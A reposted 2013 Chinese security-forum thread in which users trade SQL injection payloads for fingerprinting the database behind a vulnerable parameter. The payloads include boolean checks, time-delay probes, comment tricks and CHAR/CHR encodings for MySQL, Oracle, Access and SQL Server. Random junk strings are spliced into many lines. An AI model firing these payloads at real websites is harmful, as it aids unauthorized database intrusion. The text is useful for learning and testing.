一个注射点如何最快速确认是什么类型数据库

admin

一个注射点如何最快速确认是什么类型数据库
xsser (十根阳具有长短!!) | 2013-02-05 12:36
假设这么一个注射点：
show.html?id=2
5 d+ H1 R/ H2 q) v* jmysql:id=2 and version()>0
( U/ z5 }! H4 G( ?oracle:id=2 and '1'||'1'='11
其他的欢迎补充
1#
upload (%bf%27%bf%27%bf%27%bf%27%) | 2013-02-05 12:47
' ^; E. l1 V7 D( k/ nAccess:
aNd aSc(cHr(97))=97
. h# p' |2 }: o- N# Z2 X1 Nand exists(select id from MSysAccessObjects)
SQL Server:
and exists(select id from sysobjects)
and length(user)>0
* k' |' v4 {0 G; L9 {8 NMySQL:
and length(user())>0
2#
xsser (十根阳具有长短!!) | 2013-02-05 12:48
5 ~* B" U( w0 L@upload 如果这些都不是呢…
3#
upload (%bf%27%bf%27%bf%27%bf%27%) | 2013-02-05 13:03
@xsser 不快速的，延时注入
7 T+ h2 K7 r- ]' a3 l不知道这样写对不对
mssql：id=2 and IF(ascii(SUBSTRING('name',1,1))>0)waitfor delay'0:00:3'
& g# L) M  b, Kmysql：id=2 and select benchmark(1e8,current_date());
" J( p& t" \& s- K9 b/ y/ F1 w  s. w. Q4#
6 D* T9 Y7 S7 @9 d( J3 P: Mupload (%bf%27%bf%27%bf%27%bf%27%) | 2013-02-05 13:10
8 D- M& ]+ F% f/ `& y- l2 F$ M最快的貌似是看报错信息
oracle error
mssql error
mysql error
/ i* Y' D1 O% d$ r7 L6 W7 J5#
6 v6 _0 o8 \3 F! C0 _* _9 BNimda (你们都是坏银～) | 2013-02-05 13:14
小菜献丑来一发 Oracle:id=2 and 0<>(select count(*) from dual)
6#
upload (%bf%27%bf%27%bf%27%bf%27%) | 2013-02-05 13:21
7 s; V* B* v; ?  g“/*”是MySQL中的注释符，返回错误说明该注入点不是MySQL，继续提交如下查询字符：
* {) [: N8 n& i$ v“–”是Oracle和MSSQL支持的注释符，如果返回正常，则说明为这两种数据库类型之一。继续提交如下查询字符：
/ e% ^6 Z1 J) `1 V9 }+ W, I“;”是子句查询标识符，Oracle不支持多行查询，因此如果返回错误，则说明很可能是Oracle数据库。
; i& f" `( @9 }7#
_Evil (HackEnd) | 2013-02-05 13:33
PostgreSQL
" \+ F  I4 ]6 X1 c. D$ V8#
upload (%bf%27%bf%27%bf%27%bf%27%) | 2013-02-05 13:42
切换编码 and 1=1
oracle：
CHR(97) || CHR(110) || CHR(100) || CHR(32) || CHR(49) || CHR(61) || CHR(49)
mssql：
CHAR(97) + CHAR(110) + CHAR(100) + CHAR(32) + CHAR(49) + CHAR(61) + CHAR(49)
mysql：
, u2 l$ @. s& m' C1 {6 `9 r' y& X, {/ lCHAR(97, 110, 100, 32, 49, 61, 49)
2 c9 F+ J  J1 N# ~6 A5 s3 z9#
% d7 L* m2 U* Q  A0 cxsser (十根阳具有长短!!) | 2013-02-05 14:31
* q2 t6 X' g3 e* X9 I# S9 J@upload 比较常见的数据库这些还是可以判断的，但是还有其他奇葩类型的呢？
' W; m$ L8 O5 G10#
9 z" m) ]; \1 X' Xupload (%bf%27%bf%27%bf%27%bf%27%) | 2013-02-05 14:46
@xsser 是奇葩数据库类型的么？
4 u, v5 d% w3 z. B3 a0 h5 z* _' R根据注入的原理，我们可以猜想，要成功的注入，必须使得注入后的一片和谐，那么使用该类数据库特性来判断,综上所述：
1.是否可以使用特定的函数来判断，该数据库特有的
# o# t" y0 o8 [* m) E2.是否可以使用辅助的符号来判断，如注释符号、多语句查询符等等
3.是否可以编码查询
4.是否显可以利用错信息
9 \7 f5 T0 Q4 [- Z6 }' ]5.是否存在数据库某些特性辅助判断
个人见解
2 x( B' ~9 k7 @- U& Q11#
小胖子 (z7y壮士，来，干了这碗酒！) | 2013-02-05 14:55
已收藏，mssql可以直接看到错误提示的吧～
: L( {. h4 w& A2 {: K" f12#
Passer_by | 2013-02-05 15:09
曾被 @GaRY 面过我这题。。。紧张了。。后来回家sqlmap判断注射点的时候抓包看了下。。。一抓包全出来了居然。。
( T2 a4 ]2 S9 j( ]( Ufrom:http://zone.wooyun.org/content/260